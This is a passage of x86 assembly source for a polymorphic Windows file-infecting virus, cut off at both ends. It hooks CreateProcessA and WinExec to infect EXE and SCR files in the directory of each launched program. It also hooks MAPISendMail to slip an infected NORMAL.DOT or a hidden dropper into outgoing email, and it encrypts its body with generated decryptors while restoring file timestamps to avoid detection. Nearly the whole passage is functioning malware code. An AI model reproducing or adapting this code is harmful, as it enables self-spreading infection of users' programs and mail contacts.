sVirtualFree db 'VirtualFree', 0
sGetSystemTime db 'GetSystemTime', 0
sGetWindowsDirectoryA db 'GetWindowsDirectoryA', 0
sGetSystemDirectoryA db 'GetSystemDirectoryA', 0
sGetCurrentDirectoryA db 'GetCurrentDirectoryA', 0
sSetFileAttributesA db 'SetFileAttributesA', 0
sSetFileTime db 'SetFileTime', 0
sExitProcess db 'ExitProcess', 0
sGetCurrentProcess db 'GetCurrentProcess', 0
sWriteProcessMemory db 'WriteProcessMemory',0
sWriteFile db 'WriteFile', 0
sDeleteFileA db 'DeleteFileA', 0
sSleep db 'Sleep', 0
sCreateThread db 'CreateThread', 0
sGetFileSize db 'GetFileSize', 0
sSetFilePointer db 'SetFilePointer', 0
sMessageBoxA db 'MessageBoxA', 0 ;USER32 functionz
sFindWindowA db 'FindWindowA', 0
sPostMessageA db 'PostMessageA', 0
sMAPISendMail db 'MAPISendMail', 0
ConsultKey proc
call @@1
@@1v dd 0
@@1:
push 000F003Fh ;KEY_ALL_ACCESS
push 0
push eax
push 80000001H
what_key equ dwo $-4
call [ebp+(ofs _RegOpenKeyEx-ofs vcode)]
test eax, eax
jnz @@0
call @@3
dd 0
@@3:
mov edx, [esp]
mov dwo [edx], MAX_PATH
lea eax, [ebp+(ofs directory-ofs vcode)]
mov esi, eax
mov [eax], eax
push eax
push 0
push 0
call @@4
db 0
@@4:
push dwo [ebp+(ofs @@1v-ofs vcode)]
call [ebp+(ofs _RegQueryValueEx-ofs vcode)]
push dwo [ebp+(ofs @@1v-ofs vcode)]
call [ebp+(ofs _RegCloseKey-ofs vcode)] ;close key
@@0:
ret
ConsultKey endp
align 4
k32_names equ this byte
dd (ofs sCreateProcessA-ofs vcode)
dd (ofs sCreateFileA-ofs vcode);these are relative pointerz
dd (ofs sWinExec-ofs vcode) ;to namez... zero end list
dd (ofs sCloseHandle-ofs vcode)
dd (ofs sLoadLibraryA-ofs vcode)
dd (ofs sFreeLibrary-ofs vcode)
dd (ofs sCreateFileMappingA-ofs vcode)
dd (ofs sMapViewOfFile-ofs vcode)
dd (ofs sUnmapViewOfFile-ofs vcode)
dd (ofs sFindFirstFileA-ofs vcode)
dd (ofs sFindNextFileA-ofs vcode)
dd (ofs sFindClose-ofs vcode)
dd (ofs sSetEndOfFile-ofs vcode)
dd (ofs sVirtualAlloc-ofs vcode)
dd (ofs sVirtualFree-ofs vcode)
dd (ofs sGetSystemTime-ofs vcode)
dd (ofs sGetWindowsDirectoryA-ofs vcode)
dd (ofs sGetSystemDirectoryA-ofs vcode)
dd (ofs sGetCurrentDirectoryA-ofs vcode)
dd (ofs sSetFileAttributesA-ofs vcode)
dd (ofs sSetFileTime-ofs vcode)
dd (ofs sExitProcess-ofs vcode)
dd (ofs sGetCurrentProcess-ofs vcode)
dd (ofs sWriteProcessMemory-ofs vcode)
dd (ofs sWriteFile-ofs vcode)
dd (ofs sDeleteFileA-ofs vcode)
dd (ofs sSleep-ofs vcode)
dd (ofs sCreateThread-ofs vcode)
dd (ofs sGetFileSize-ofs vcode)
dd (ofs sSetFilePointer-ofs vcode)
dd 0
dd (ofs sMessageBoxA-ofs vcode)
dd (ofs sFindWindowA-ofs vcode)
dd (ofs sPostMessageA-ofs vcode)
dd 0
DeleteShitFile proc
call delta
mov ebx, [esp+4]
push 80h
push ebx
call [ebp+(ofs _SetFileAttributesA-ofs vcode)]
test eax, eax
jz @@1
push ebx
call [ebp+(ofs _DeleteFileA-ofs vcode)]
@@1:
ret 4
DeleteShitFile endp
NewMAPISendMail proc
push esp ;original MAPISendMail
pushad
call delta
lea eax, [ebp+(ofs mapi-ofs vcode)]
push eax
call [ebp+(ofs _GetModuleHandle-ofs vcode)]
lea ecx, [ebp+(ofs sMAPISendMail-ofs vcode)]
push ecx
push eax
call [ebp+(ofs _GetProcAddress-ofs vcode)]
mov [esp+(8*4)], eax ;return address=MAPISendMail
mov edi, [esp+(12*4)] ;MAPI Struct
cmp dwo [edi.nFileCount], 0 ;file attached?
jnz @@3
inc dwo [edi.nFileCount] ;set 1 attachments
lea ebx, [ebp+(ofs MF-ofs vcode)]
mov [edi.lpFiles], ebx
sub eax, eax
mov edi, ebx
mov ecx, 6
rep stosd ;esi=file structure
call OpenAncev
jc @@4 ;file dont exists, binary send
call GetTemplateDir
@@aaa:
lodsb
test al, al
jnz @@aaa
call @@aab
ndot db '\NORMAL.DOT', 0
@@aab:
pop edi
xchg edi, esi
dec edi
@@aac:
lodsb
stosb
test al, al ;we'll send infected NORMAL.DOT
jnz @@aac
lea esi, [ebp+(ofs directory-ofs vcode)]
push 80h
push esi
call [ebp+(ofs _SetFileAttributesA-ofs vcode)]
test eax, eax
jz @@4 ;file exists?
mov eax, esi
mov edx, 'COD'
jmp @@5
@@4:
call CreateDropper
mov eax, [ebp+(ofs mm_on_off-ofs vcode)]
push eax ;buffer
mov eax, [ebp+(ofs fsizel-ofs vcode)]
push eax ;size
lea edi, [ebp+(ofs rbuf-ofs vcode)]
mov ebx, edi
call @@111
shitfile db 'C:\ENIACOC.SYS', 0
@@111:
pop esi
@@111a:
lodsb
stosb
test al, al
jnz @@111a
push ebx ;name
mov dwo [ebp+(ofs wd_att-ofs vcode)], 82h
call WriteDump ;hidden dump
push 00004000h+00008000h
push 0
push dwo [ebp+(ofs mm_on_off-ofs vcode)]
call [ebp+(ofs _VirtualFree-ofs vcode)]
lea eax, [ebp+(ofs rbuf-ofs vcode)]
mov edx, 'EXE'
@@5:
lea edi, [ebp+(ofs MF-ofs vcode)]
mov [edi.lpszPathName], eax ;set file to send
lea esi, [ebp+(ofs rbuf+MAX_PATH-ofs vcode)]
mov [edi.lpszFileName], esi
xchg edi, esi
mov eax, 8
call random
inc eax
inc eax
inc eax
mov ecx, eax
@@a:
mov eax, 23
call random
add al, 'A'
stosb
loop @@a
mov al, '.'
stosb
mov eax, edx
stosd
@@3:
mov dwo [ebp+(ofs mm_on_off-ofs vcode)], 0
popad
ret
NewMAPISendMail endp
NewCreateProcessA proc
push esp ;new handler for CreateProcessA
pushad
call CheckName
call delta
mov eax, [ebp+(ofs _CreateProcessA-ofs vcode)]
mov [esp+(7*4)+4], eax
popad
ret
NewCreateProcessA endp
RestoreChunkz db FALSE
NewWinExec proc
push esp ;new handler for WinExec
pushad
call CheckName
call delta
mov eax, [ebp+(ofs _WinExec-ofs vcode)]
mov [esp+(7*4)+4], eax
popad
ret
NewWinExec endp
ProcessDir proc
pushad
lea edi, [ebp+(ofs directory-ofs vcode)];edi=dir to process
add edi, eax ;eax=size of dir
lea esi, [ebp+(ofs FileMask-ofs vcode)]
movsd
movsd ;copy *.* mask
lea eax, [ebp+(ofs find_data-ofs vcode)]
push eax
lea eax, [ebp+(ofs directory-ofs vcode)]
push eax
call [ebp+(ofs _FindFirstFileA-ofs vcode)]
inc eax
jz @@0 ;no file found?
dec eax
mov [ebp+(ofs search_handle-ofs vcode)], eax
@@1:
pushad
lea esi, [ebp+(ofs directory-ofs vcode)]
sub eax, eax
mov edx, esi
@@3:
lodsb
cmp al, '\' ;search last slash
jne @@5
mov edx, esi ;update slash position
@@5:
test al, al
jnz @@3
lea esi, [ebp+(ofs filename-ofs vcode)]
mov edi, edx
@@4:
lodsb
cmp al, 'V'
je @@6
cmp al, 'v'
je @@6
cmp al, '0'
jb @@4a
cmp al, '9'
jbe @@6
@@4a:
stosb
test al, al ;copy name to path
jnz @@4
mov eax, dwo [edi-4]
or eax, 202020h
not eax
xor eax, not 'exe'
jz @@7
xor eax, ((not 'rcs')xor(not 'exe'))
jnz @@6 ;tricky, isnt? :)
@@7:
call Infect
@@6: ;process it
popad
lea eax, [ebp+(ofs find_data-ofs vcode)]
push eax
mov eax, [ebp+(ofs search_handle-ofs vcode)]
push eax
call [ebp+(ofs _FindNextFileA-ofs vcode)]
test eax, eax ;no more files in this dir?
jne @@1
@@2:
push dwo [ebp+(ofs search_handle-ofs vcode)]
call [ebp+(ofs _FindClose-ofs vcode)] ;close search
@@0:
popad
ret
ProcessDir endp
peh_machine = 4
peh_nosections = 6
peh_ntheader = 20
peh_flags = 22
peh_initdata = 32
peh_entrypoint = 40
peh_imagebase = 52
peh_imagesize = 80
peh_chksum = 88
peh_reloc1 = 160
peh_reloc2 = 164
seh_rvasz = 8
seh_rva = 12
seh_rawsz = 16
seh_raw = 20
seh_attr = 36
Infect proc ;infect PE filez
mov eax, [ebp+(ofs seed-ofs vcode)]
mov [ebp+(ofs pseed-ofs vcode)], eax
mov ecx, DIV_VALUE
call set_new_eh
mov esp,[esp+8] ;fix stack
_remove_seh:
jmp remove_seh
db 0EAh
set_new_eh:
sub edx, edx
push dwo fs:[edx]
mov fs:[edx], esp ;set SEH
mov by [ebp+(ofs inf?-ofs vcode)], dl
cmp [ebp+(ofs fsizeh-ofs vcode)], edx
jne _remove_seh ;too big?
mov eax, [ebp+(ofs fsizel-ofs vcode)]
cmp dwo [ebp+(ofs mm_on_off-ofs vcode)], 0
jnz @@5 ;skip size check for droppers
test eax, eax
jz @@5a
cmp eax, 16*1024
jbe _remove_seh ;smaller than 16kb?
@@5:
div ecx
test edx, edx ;padded to 101 boundary?
jz _remove_seh
@@5a:
call MapFile ;map file
mov ecx, eax
mov ebx, eax
jecxz _remove_seh ;error mapping
mov [ebp+(ofs map@-ofs vcode)], eax
cmp wo [ecx], 'ZM' ;EXE file?
jne @@0
cmp wo [ecx+18h], 40h
jne @@0
mov edi, [ecx+3ch]
add edi, ecx
mov [ebp+(ofs pe_header-ofs vcode)], edi
cmp dwo [edi], 'EP' ;PE EXE file?
jne @@0
cmp wo [edi+peh_machine], 014Ch ;i386?
jne @@0
movzx eax, wo [edi+peh_flags]
not al
test eax, 2002h
jnz @@0 ;isnt DLL? is executable?
mov esi, edi
movzx ecx, wo [edi+peh_nosections]
cmp ecx, 3
jb @@0 ;too few sections
dec ecx
mov eax, ecx
shl eax, 3
shl ecx, 5
add eax, ecx
movzx ecx, wo [edi+peh_ntheader]
add eax, 24
add eax, ecx ;esi=pe header
add edi, eax ;edi=section header
bt dwo [edi.seh_attr], 6 ;must be init data
jnc @@0
pushad
mov eax, [esi+peh_entrypoint]
mov [ebp+(ofs old_eip-ofs vcode)], eax ;copy entrypoint
mov edi, esi
movzx ecx, wo [edi+peh_ntheader]
add ecx, 24
add edi, ecx ;edi=first section header
mov eax, [edi+seh_rva]
mov [ebp+(ofs sRVA-ofs vcode)], eax
mov eax, [edi+seh_rawsz]
mov [ebp+(ofs RawSize-ofs vcode)], eax ;set vars for branch_entry
mov ecx, [esi+132]
mov eax, [edi+seh_rva]
add eax, [edi+seh_rvasz]
mov ebx, [esi+128]
sub eax, ebx
jc @@not_in_1st ;IT start after end of 1st sec
cmp ecx, eax
ja @@set_it
xchg eax, ecx
jmp @@set_it
@@not_in_1st:
sub ecx, ecx
@@set_it:
mov [ebp+(ofs it_size-ofs vcode)], ecx
push 00000040h
push 00002000h+00001000h+00100000h
push 32*1024
push 0
call [ebp+(ofs _VirtualAlloc-ofs vcode)]
mov [ebp+(ofs buffer2-ofs vcode)], eax
push 00000040h
push 00002000h+00001000h+00100000h
push 32*1024
push 0
call [ebp+(ofs _VirtualAlloc-ofs vcode)]
mov [ebp+(ofs buffer1-ofs vcode)], eax ;alloc 2 bufferz for poly
mov edi, eax
mov esi, ebp
mov ecx, vsize
rep movsb ;init first buffer
popad
lea eax, [ebp+(ofs kernel-ofs vcode)] ;search in kernel32
mov [ebp+(ofs dll_name-ofs vcode)], eax
lea eax, [ebp+(ofs sGetProcAddress-ofs vcode)]
call SearchIT
push eax ;push GetProcAdress
lea eax, [ebp+(ofs sGetModuleHandle-ofs vcode)]
call SearchIT
push eax ;push GetModuleHandleA
lea eax, [ebp+(ofs sCreateProcessA-ofs vcode)]
call SearchIT
push eax ;push CreateProcessA
lea eax, [ebp+(ofs sWinExec-ofs vcode)]
call SearchIT
push eax ;push WinExec
lea eax, [ebp+(ofs mapi-ofs vcode)] ;search in mapi32
mov [ebp+(ofs dll_name-ofs vcode)], eax
lea eax, [ebp+(ofs sMAPISendMail-ofs vcode)]
call SearchIT
push eax ;push MAPISendMail
sub ecx, ecx
mov edx, [edi+seh_rva]
add edx, [edi+seh_rawsz] ;rva+raw size=ep
mov [ebp+(ofs ep-ofs vcode)], edx
mov ecx, [esi+peh_imagebase]
add edx, ecx ;ep+base=delta run
mov eax, [esi+peh_entrypoint]
mov esi, [ebp+(ofs buffer1-ofs vcode)]
mov edi, [ebp+(ofs buffer2-ofs vcode)]
mov [esi+(ofs _delta-ofs vcode)], edx ;set delta in copy
mov [esi+(ofs _base-ofs vcode)], ecx
sub eax, [ebp+(ofs ep-ofs vcode)]
sub eax, 4+(ofs host_entry-ofs vcode)
mov [esi+(ofs host_entry-ofs vcode)], eax ;set entrypoint in copy
pop eax
mov [esi+(ofs OldMAPISendMail-ofs vcode)], eax
pop eax
mov [esi+(ofs OldWinExec-ofs vcode)], eax
pop eax
mov [esi+(ofs OldCreateProcessA-ofs vcode)], eax
pop eax
mov [esi+(ofs OldGetModuleHandleA-ofs vcode)], eax
pop eax
mov [esi+(ofs OldGetProcAddress-ofs vcode)], eax
mov by [esi+(ofs RestoreChunkz-ofs vcode)], FALSE
cmp dwo [ebp+(ofs RawSize-ofs vcode)], MIN_RAW
jb @@a
pushad
lea edi, [esi+(ofs rbuf-ofs vcode)] ;start of restoration table
push edi
mov ecx, (MAX_BRANCH*(128+4+4))/4
@@be0:
call random0 ;fill buffer with garbage
stosd
loop @@be0
sub eax, eax
mov [ebp+(ofs reg32-ofs vcode)], eax ;init internal vars
mov [ebp+(ofs lparm-ofs vcode)], eax
mov [ebp+(ofs lvars-ofs vcode)], eax
mov [ebp+(ofs subs_index-ofs vcode)], eax
mov [ebp+(ofs s_into-ofs vcode)], eax ;allow call
mov by [ebp+(ofs recurse-ofs vcode)], MAX_RECURSION-2
pop edi
mov eax, [ebp+(ofs old_eip-ofs vcode)] ;first chunk at
sub ecx, ecx ;counter
@@be1:
inc ecx ;chunk count
stosd ;starting RVA
stosd ;(make space for size)
call virtual2physical_
or eax, eax
jz @@fux0red
mov esi, eax
add esi, [ebp+(ofs map@-ofs vcode)]
push ecx
mov ecx, 128
push esi edi
rep movsb ;copy bytes at chunk
pop esi edi
pop ecx
lea ebx, [edi-5]
call crypt_poly
call garble ;make junk
call crypt_poly
mov [esi-4], edi ;(destine
sub [esi-4], ebx ;- previous destine(b4 junk))
;==size
mov al, 0e9h
stosd
stosb ;make JMP
pushad ;choose a suitable EIP for next
@@ce0: ;chunk(not overlapping)
mov eax, [ebp+(ofs RawSize-ofs vcode)]
sub eax, 12345678h
it_size equ dwo $-4
call random
add eax, [ebp+(ofs sRVA-ofs vcode)] ;eip=rnd(rva)+base
sub edx, edx
sub ebx, ebx ;init ok_counter,checked_counter
lea edi, [ebp+(ofs rbuf-ofs vcode)]
@@ce1:
mov esi, [edi]
add esi, [edi+4] ;entrypoint is above the end(point+sz)
cmp eax, esi ;last one, so, is valid(for dis entry)
ja @@ce3
mov esi, [edi] ;entrypoint is below current one - 129
sub esi, 129 ;so, it have enought room to grown, ok
cmp eax, esi
jnb @@ce2
@@ce3:
inc edx ;this one is ok
@@ce2:
add edi, [edi+4] ;update pointer to next chunk info
add edi, 4*2
inc ebx
cmp ecx, ebx ;all entries checked? no, continue
jne @@ce1
cmp ecx, edx ;eip allowed for all our entries?
jne @@ce0
mov [esp+(7*4)], eax ;fix eax(stack)
popad
push eax
call virtual2physical_
add eax, [ebp+(ofs map@-ofs vcode)]
mov ebx, edi
sub eax, ebx ;calc distance between chunks
mov [edi-4], eax ;patch JMP
lea eax, [edi-4] ;last patcheable jump
sub eax, [ebp+(ofs map@-ofs vcode)]
mov [ebp+(ofs patch_jump-ofs vcode)], eax
mov edi, esi
add edi, [edi-4] ;edi(table)=edi+2 dwords+junk
;(cut excess copied bytes)
pop eax
cmp ecx, MAX_BRANCH ;process next chunk
jb @@be1
popad
mov by [esi+(ofs RestoreChunkz-ofs vcode)], TRUE
@@a:
pushad
mov edi, esi
mov eax, [ebp+(ofs key1-ofs vcode)]
mov ecx, (ofs dec_end_code-ofs vcode)/4
@@loop1:
xor [edi], eax ;do 2nd loop(internal)
scasd
add eax, [ebp+(ofs key2-ofs vcode)]
loop @@loop1
popad
mov eax, (ofs DecriptInit-ofs vcode) ;where our code get control
mov ecx, vsize
call mutate ;encript
mov by [ebp+(ofs inf?-ofs vcode)], -1 ;set continue infecting
mov [ebp+(ofs polybuffer-ofs vcode)], edi
add [ebp+(ofs ep-ofs vcode)], eax ;add poly entry to file entry
cmp ecx, msize ;if poly decriptorz dont fill
jnb @@3 ;bufferz, make it bufsize long
mov ecx, msize
@@3:
mov [ebp+(ofs tamanho-ofs vcode)], ecx
@@0:
call UnmapFile
@@1:
movzx eax, by [ebp+(ofs inf?-ofs vcode)]
or eax, eax
mov by [ebp+(ofs inf?-ofs vcode)], 0 ;continue processing?
jz remove_seh
mov eax, [ebp+(ofs tamanho-ofs vcode)]
add eax, [ebp+(ofs fsizel-ofs vcode)]
call AlignD ;round mapsize to infected
mov [ebp+(ofs fsizel-ofs vcode)], eax ;mark
call MapFile
or eax, eax ;error mapping(all is fux0red)
jz @@1
mov ebx, eax
mov [ebp+(ofs map@-ofs vcode)], eax
add eax, [eax+3ch]
mov esi, eax
mov edi, eax
mov [ebp+(ofs pe_header-ofs vcode)], edi
movzx ecx, wo [esi+peh_nosections]
dec ecx
mov eax, ecx
shl eax, 3
shl ecx, 5
add eax, ecx
movzx ecx, wo [esi+peh_ntheader]
add eax, ecx
sub ecx, ecx ;esi=pe header
add eax, 24 ;ebx=map base
add edi, eax ;edi=last section header
mov [esi+peh_reloc1], ecx
mov [esi+peh_reloc2], ecx ;no more relocz
push edi esi
xchg edi, esi
mov edi, [esi+seh_raw]
add edi, [esi+seh_rawsz]
cmp dwo [ebp+(ofs RawSize-ofs vcode)], MIN_RAW
jb @@11
pushad
mov edi, [ebp+(ofs patch_jump-ofs vcode)]
mov eax, edi
add edi, ebx
call physical2virtual_ ;get rva of jump immediate
mov ebx, eax
mov eax, [ebp+(ofs ep-ofs vcode)]
sub eax, ebx ;sub it from new eip
sub eax, 4
mov [edi], eax ;patch jmp
popad
jmp @@12
@@11:
mov eax, [ebp+(ofs ep-ofs vcode)] ;get new eip
mov esi, [esp]
mov [esi+peh_entrypoint], eax ;set it in pe header
@@12:
add edi, ebx ;edi=raw ofs+raw sz+mbase
mov esi, [ebp+(ofs polybuffer-ofs vcode)]
mov edx, [ebp+(ofs tamanho-ofs vcode)]
mov ecx, edx
cld
rep movsb ;zopy vilus codle
pop esi edi
mov [esi+peh_chksum], ecx ;zero checksum
mov eax, edx
add eax, [esi+peh_initdata] ;init data size+vsize
call AlignF
mov [esi+peh_initdata], eax
mov [edi+seh_attr], 80000000h+40000000h+00000040h
;NT COMPATIBILITY ZONE
;all to make pe infection NT compliant is here
;hehe... you also must get the APIs right, of course
push dwo [ebp+(ofs fsizel-ofs vcode)]
push ebx
mov eax, [edi+seh_rawsz]
mov ebx, [edi+seh_rvasz]
; mov edx, [ebp+(ofs tamanho-ofs vcode)]
add eax, edx
add ebx, edx ;increase raw/virtual size
call AlignF
mov [edi+seh_rawsz], eax ;save aligned raw size
xchg eax, ebx
call AlignO ;align virtual size
cmp eax, ebx
jnb @@4 ;is below raw size?
mov eax, ebx
call AlignO ;then use raw size, realigned
@@4:
mov [edi+seh_rvasz], eax ;save aligned virtual size
mov eax, [edi+seh_rvasz] ;calculate last memory occuped
add eax, [edi+seh_rva]
call AlignO ;align
cmp eax, [esi+peh_imagesize] ;is bigger than previous one?
jb @@aa
mov [esi+peh_imagesize], eax ;if so, fix imagesize
@@aa:
call ChecksumMappedFile
mov [esi+peh_chksum], eax
push 00004000h+00008000h
push 0
push dwo [ebp+(ofs buffer1-ofs vcode)]
call [ebp+(ofs _VirtualFree-ofs vcode)]
push 00004000h+00008000h
push 0
push dwo [ebp+(ofs buffer2-ofs vcode)]
call [ebp+(ofs _VirtualFree-ofs vcode)] ;free bufferz
mov by [ebp+(ofs inf?-ofs vcode)], 0
jmp @@0
@@fux0red:
popad
jmp @@a
wavp db 'AVP Monitor',0 ;inserted in middle of code ;)
remove_seh:
sub edx, edx
pop dwo fs:[edx] ;remove frame
pop edx
ret
Infect endp
AlignD proc
push ebp edx
mov ebp, DIV_VALUE
jmp _align
AlignD endp
AlignO proc
push ebp edx
mov ebp, [esi+56]
jmp _align
AlignO endp
AlignF proc
push ebp edx
mov ebp, [esi+60]
_align:
sub edx, edx
div ebp
test edx, edx
jz @@1
inc eax
sub edx, edx
@@1:
mul ebp
pop edx ebp
ret
AlignF endp
WriteMem proc
push 0 ;result
push ecx ;size
push esi ;buffer from
push edi ;where write
call [ebp+(ofs _GetCurrentProcess-ofs vcode)]
push eax ;handle to process
call [ebp+(ofs _WriteProcessMemory-ofs vcode)]
ret
WriteMem endp
cp_key db 0
GetList proc
lea edi, [ebp+(ofs directory-ofs vcode)]
push MAX_PATH
push edi
call [ebp+(ofs _GetSystemDirectoryA-ofs vcode)]
lea edi, [edi+eax]
call @@1
db '\BRSCBC.DAT', 0
@@1:
pop esi
@@2:
lodsb
stosb
test al, al
jnz @@2
ret
GetList endp
CheckList proc
push eax
call GetList
mov dwo [ebp+(ofs fsizel-ofs vcode)], 1*4
inc by [ebp+(ofs mf_mode-ofs vcode)]
inc by [ebp+(ofs mf_mode1-ofs vcode)]
call MapFile
mov [ebp+(ofs map@-ofs vcode)], eax
dec by [ebp+(ofs mf_mode-ofs vcode)]
dec by [ebp+(ofs mf_mode1-ofs vcode)]
mov edi, eax
test eax, eax
pop eax
jz @@1
mov ecx, [ebp+(ofs fsizel-ofs vcode)]
shr ecx, 2
repne scasd
push ecx
call UnmapFile
pop eax
@@1:
ret
CheckList endp
InsertList proc
call GetList
sub eax, eax
push eax
push 80h
push 3
push eax eax
push 0c0000000h ;read/write
lea eax, [ebp+(ofs directory-ofs vcode)]
push eax
call [ebp+(ofs _CreateFileA-ofs vcode)]
inc eax
jz @@1
dec eax
push eax
sub ecx, ecx
push 2
push ecx
push ecx
push eax
call [ebp+(ofs _SetFilePointer-ofs vcode)]
mov eax, [esp]
push 0
call @@2
dd 0
@@2:
push 4
lea ecx, [ebp+(ofs email_crc-ofs vcode)]
push ecx
push eax
call [ebp+(ofs _WriteFile-ofs vcode)]
call [ebp+(ofs _CloseHandle-ofs vcode)]
@@1:
ret
InsertList endp
ChecksumMappedFile proc
push ebp
mov ebp, esp
push esi
push ecx
push edx
xor edx, edx
mov esi, [ebp+8]
mov ecx, [ebp+12]
shr ecx, 1
@@1:
movzx eax, wo [esi]
add edx, eax
mov eax, edx
and edx, 0FFFFh
shr eax, 10h
add edx, eax
add esi, 2
loop @@1
mov eax, edx
shr eax, 10h
add ax, dx
add eax, [ebp+12]
pop edx
pop ecx
pop esi
leave
retn 8
ChecksumMappedFile endp
SearchIT proc
pushad
call sne
mov esp,[esp+8] ;fix stack
_rseh:
sub eax, eax ;signal not found
jmp rseh
sne:
sub edx, edx
push dwo fs:[edx]
mov fs:[edx], esp ;set SEH
call gpa_kernel32 ;get add for the case it is bound
mov edi, eax
mov eax, dwo [esi+128] ;import dir
push edi
call virtual2physical
pop edi
jc @@3
mov edx, eax
add edx, ebx
@@2:
cmp dwo [edx], 0
je @@3
mov eax, [edx+12] ;get module name
push edi
call virtual2physical
pop edi
jc @@0
add eax, ebx
mov ecx, 12345678h
dll_name equ dwo $-4
call strcmp
jz @@1
@@0:
add edx, 20 ;check next
jmp @@2 ;process next dir
@@3:
jmp _rseh
@@1:
mov eax, [edx+16] ;pointer to name table pointer
mov ebp, eax
push edi
call virtual2physical
pop edi
jc @@3
add eax, ebx
mov edx, esi
mov esi, eax
sub ecx, ecx
@@4:
lodsd ;load pointer to name
test eax, eax
jz @@3 ;ebx=base
inc ecx
cmp eax, edi
jz @@6
cmp eax, 077f00000h
ja @@4 ;pointing to kernel? is bound
xchg esi, edx
push edi
call virtual2physical ;edx=table esi=pe header
pop edi
jc @@3
push edi
mov edi, [esp+(7*4)+4+8] ;load requested API
push esi
lea esi, [eax+ebx+2]
dec edi
@@7:
inc edi
lodsb
test al, al
jz @@5
cmp [edi], al
je @@7
pop esi
pop edi
xchg esi, edx ;esi=table edx=pe header
jmp @@4
@@5:
pop eax
pop eax
@@6:
dec ecx
lea eax, [ebp+(ecx*4)]
rseh:
sub edx, edx
pop dwo fs:[edx] ;remove frame
pop edx
mov dwo [esp+(7*4)], eax
popad
ret
SearchIT endp
strcmp proc
push edx ebx edi
@@2:
mov bl, [eax]
cmp bl, 'a'
jb @@3
cmp bl, 'z'
ja @@3
and bl, not 20h
@@3:
cmp by [ecx], 0
jz @@1
cmp [ecx], bl
jnz @@1
inc ecx
inc eax
jmp @@2
@@1:
pop edi ebx edx
ret
strcmp endp
virtual2physical proc
push ecx esi
mov edi, esi
movzx ecx, wo [esi+20]
add edi, 24
add edi, ecx ;edi eq 1th section header
movzx ecx, wo [esi+peh_nosections]
@@0:
push eax
sub eax, [edi+12] ;sub RVA
cmp eax, [edi+8] ;pointing inside?
jb @@1
pop eax
add edi, 40 ;next section header
loop @@0
sub eax, eax
stc ;signal error
jmp @@2
@@1:
add eax, [edi+20] ;add raw pointer
pop ecx ;fix stack
@@2:
pop esi ecx ;eax=fisical place
ret ;edi=section
virtual2physical endp
virtual2physical_ proc
pushad
mov esi, [ebp+(ofs pe_header-ofs vcode)]
call virtual2physical
mov [esp+(7*4)], eax
popad
ret
virtual2physical_ endp
physical2virtual_ proc
pushad
mov esi, [ebp+(ofs pe_header-ofs vcode)]
call physical2virtual
mov [esp+(7*4)], eax
popad
ret
physical2virtual_ endp
physical2virtual proc
push ecx esi
mov esi, [ebp+(ofs pe_header-ofs vcode)]
mov edi, esi
movzx ecx, wo [esi+20]
add edi, 24
add edi, ecx ;edi eq 1th section header
movzx ecx, wo [esi+peh_nosections]
@@0:
push eax
sub eax, [edi+20] ;sub physical start
cmp eax, [edi+16] ;still pointing to this section
jb @@1
pop eax
add edi, 40 ;next section header
loop @@0
sub eax, eax
stc ;signal error
jmp @@2
@@1:
add eax, [edi+12] ;add rva
pop ecx
@@2:
pop esi ecx ;eax=fisical place
ret ;edi=section
physical2virtual endp
MapFile proc
mov eax, [ebp+(ofs mm_on_off-ofs vcode)]
test eax, eax
jz @@1 ;if [mm_on_off] contains a @
clc ;treat it like a memory mapped
ret ;file
@@1:
push -1
mf_mode1 equ by $-1
pop ecx
jecxz @@212
push 80h
lea eax, [ebp+(ofs directory-ofs vcode)]
push eax
call [ebp+(ofs _SetFileAttributesA-ofs vcode)]
test eax, eax
jz error_map ;blank attributes
@@212:
sub eax, eax
push eax
push 80h
push 3
mf_mode equ by $-1
push eax eax
push 0c0000000h ;read/write
lea eax, [ebp+(ofs directory-ofs vcode)]
push eax
call [ebp+(ofs _CreateFileA-ofs vcode)]
inc eax
jz error_mapf
dec eax
mov [ebp+(ofs handle1-ofs vcode)], eax
sub ebx, ebx
cmp [ebp+(ofs fsizel-ofs vcode)], ebx
jne @@2
push ebx
push eax
call [ebp+(ofs _GetFileSize-ofs vcode)]
mov [ebp+(ofs fsizel-ofs vcode)], eax
sub edx, edx
mov ecx, DIV_VALUE
div ecx
test edx, edx
jz close_map
@@2:
sub eax, eax
push eax
push dwo [ebp+(ofs fsizel-ofs vcode)]
push eax
push 4
push eax
push dwo [ebp+(ofs handle1-ofs vcode)]
call [ebp+(ofs _CreateFileMappingA-ofs vcode)]
test eax, eax
jz close_map
mov [ebp+(ofs handle2-ofs vcode)], eax
sub eax, eax
push dwo [ebp+(ofs fsizel-ofs vcode)]
push eax eax
push 2
push dwo [ebp+(ofs handle2-ofs vcode)]
call [ebp+(ofs _MapViewOfFile-ofs vcode)]
test eax, eax
jz unmap_map
ret
MapFile endp
CheckName proc
push ebp
call _seh
mov esp,[esp+8] ;fix stack
jmp remove_seh
_seh:
sub ecx, ecx
push dwo fs:[ecx]
mov fs:[ecx], esp
cld
call delta
lea edi, [ebp+(ofs directory-ofs vcode)]
push edi
mov esi, [esp+(7*4)+(4*6)+(2*4)] ;get pointer to path name
@@1:
lodsb
cmp al, '\'
jne @@5
inc ecx ;signal slash found
@@5:
cmp al, '"'
je @@1
cmp al, "'" ;ignore these
je @@1
cmp al, 'a'
jb @@3
cmp al, 'z'
ja @@3
and al, not 20h ;make upcase
@@3:
stosb
test al, al
jnz @@1
dec edi
jecxz @@7
@@2:
mov al, by [edi-1]
cmp al, 20h
je @@8
add bl, al ;calc chksum
@@8:
dec edi
cmp al, '\' ;find backslash
jnz @@2
@@7:
mov eax, edi
pop edx
jecxz @@6
sub eax, edx
push ebx
call ProcessDir ;process directory
pop ebx
@@6:
sub edx, edx
pop dwo fs:[edx] ;remove frame
pop edx
pop ebp
ret
CheckName endp
UnmapFile proc
mov eax, [ebp+(ofs mm_on_off-ofs vcode)]
test eax, eax
jz @@1
clc
ret
@@1:
push dwo [ebp+(ofs map@-ofs vcode)]
call [ebp+(ofs _UnmapViewOfFile-ofs vcode)]
unmap_map:
push dwo [ebp+(ofs handle2-ofs vcode)]
call [ebp+(ofs _CloseHandle-ofs vcode)]
close_map:
lea eax, dwo [ebp+(ofs lw_creat_h-ofs vcode)]
push eax
sub eax, 8
push eax
sub eax, 8
push eax
push dwo [ebp+(ofs handle1-ofs vcode)]
call [ebp+(ofs _SetFileTime-ofs vcode)]
push dwo [ebp+(ofs handle1-ofs vcode)]
call [ebp+(ofs _CloseHandle-ofs vcode)]
error_mapf:
push dwo [ebp+(ofs fattr-ofs vcode)]
lea eax, [ebp+(ofs directory-ofs vcode)]
push eax
